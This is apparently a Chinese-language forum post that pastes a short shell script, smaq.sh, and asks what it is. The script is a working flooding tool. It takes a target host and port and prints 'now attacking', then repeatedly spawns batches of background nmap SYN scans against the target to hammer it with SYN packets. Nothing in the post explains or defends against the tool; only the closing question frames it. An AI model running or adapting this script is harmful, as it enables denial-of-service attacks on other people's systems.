- 代碼: 選擇全部
itrep:/home/test# cat smaq.sh
#!/bin/sh
smv="[smaq!benz]:"
if [ "$1" = "" ]; then
echo "$smv you must supply a target!"
exit 0
fi
tport="$2"
if [ "$2" = "" ]; then
tport="21"
echo "$smv no target port supplied, using 21."
fi
which nmap >/dev/null 2>&1
if [ ! $? -eq 0 ]; then
echo "$smv could not find an executable nmap binary!"
exit 0
fi
echo "$smv now attacking $1 (port $tport)"
echo "$smv each "." represents 10 syn's sent"
count="0"
while :; do count=`expr $count + 1`
if [ "$count" = "20" ]; then
echo "$smv attacks complete."
exit 0
fi
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
echo -n "."
done
有人能告訴我造是甚麼嗎?